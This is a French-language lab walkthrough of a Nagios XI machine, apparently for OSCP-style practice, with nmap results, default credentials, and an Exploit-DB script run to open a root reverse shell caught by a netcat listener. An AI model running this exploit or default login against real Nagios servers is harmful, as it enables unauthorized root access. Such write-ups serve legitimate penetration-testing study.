# Monitoring

`nagios`

* Nom machine : Monitoring
* Difficulté : Facile
* OS : Linux

## Enumération

### NMAP

```
Nmap scan report for 192.168.185.136
Host is up (0.032s latency).
Not shown: 65529 closed tcp ports (conn-refused)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b8:8c:40:f6:5f:2a:8b:f7:92:a8:81:4b:bb:59:6d:02 (RSA)
|   256 e7:bb:11:c1:2e:cd:39:91:68:4e:aa:01:f6:de:e6:19 (ECDSA)
|_  256 0f:8e:28:a7:b7:1d:60:bf:a6:2b:dd:a3:6d:d1:4e:a4 (ED25519)
25/tcp   open  smtp       Postfix smtpd
| ssl-cert: Subject: commonName=ubuntu
| Issuer: commonName=ubuntu
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-08T17:59:00
| Not valid after:  2030-09-06T17:59:00
| MD5:   e067:1ea3:92c2:ec73:cb21:de0e:73df:cb66
|_SHA-1: e39c:c9b6:c35b:b608:3dd0:cd25:e60f:cb61:6551:da77
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
80/tcp   open  http       Apache httpd 2.4.18 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 8E1494DD4BFF0FC523A2E2A15ED59D84
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Nagios XI
389/tcp  open  ldap       OpenLDAP 2.2.X - 2.3.X
443/tcp  open  ssl/http   Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Nagios XI
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=192.168.1.6/organizationName=Nagios Enterprises/stateOrProvinceName=Minnesota/countryName=US
| Issuer: commonName=192.168.1.6/organizationName=Nagios Enterprises/stateOrProvinceName=Minnesota/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2020-09-08T18:28:08
| Not valid after:  2030-09-06T18:28:08
| MD5:   20f0:951f:8eff:1b69:ef3f:1b1e:fb4c:361f
|_SHA-1: cc40:0ad7:60cf:4959:1c92:d9ab:0f06:106c:18f6:6661
5667/tcp open  tcpwrapped
Service Info: Host:  ubuntu; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### HTTP (80)

On tombe sur une page nagios XI. Pour s'authentifier, nagiosadmin:admin fonctionne. Nous allons chercher un exploit. On en trouve un qui permet d'être directement root.

## Accès initial

{% embed url="<https://www.exploit-db.com/exploits/47299>" %}

```
┌──(kali㉿kali)-[~/oscp]
└─$ php nagios.php --host=192.168.185.136 --user=nagiosadmin --pass=admin --reverseip=192.168.45.239  --reverseport=1234 --ssl=false
[+] Grabbing NSP from: http://192.168.185.136/nagiosxi/login.php
[+] Retrieved page contents from: http://192.168.185.136/nagiosxi/login.php
[+] Extracted NSP - value: 891a9b99f010090c4531ea154009165b28458cf0ae837111549d7ce383e7dcdf
[+] Attempting to login...
[+] Authentication success
[+] Checking we have admin rights...
[+] Admin access confirmed
[+] Grabbing NSP from: http://192.168.185.136/nagiosxi/admin/monitoringplugins.php
[+] Retrieved page contents from: http://192.168.185.136/nagiosxi/admin/monitoringplugins.php
[+] Extracted NSP - value: beb5f60df1066c2a2b03486238114ac36f14150f111e65206fb32d9a4c9f5fed
[+] Uploading payload...
[+] Payload uploaded
[+] Triggering payload: if successful, a reverse shell will spawn at 192.168.45.239:1234
```

```
┌──(kali㉿kali)-[~/oscp]
└─$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [192.168.45.239] from (UNKNOWN) [192.168.185.136] 32820
bash: cannot set terminal process group (949): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:/usr/local/nagiosxi/html/includes/components/profile# whoami
whoami
root
```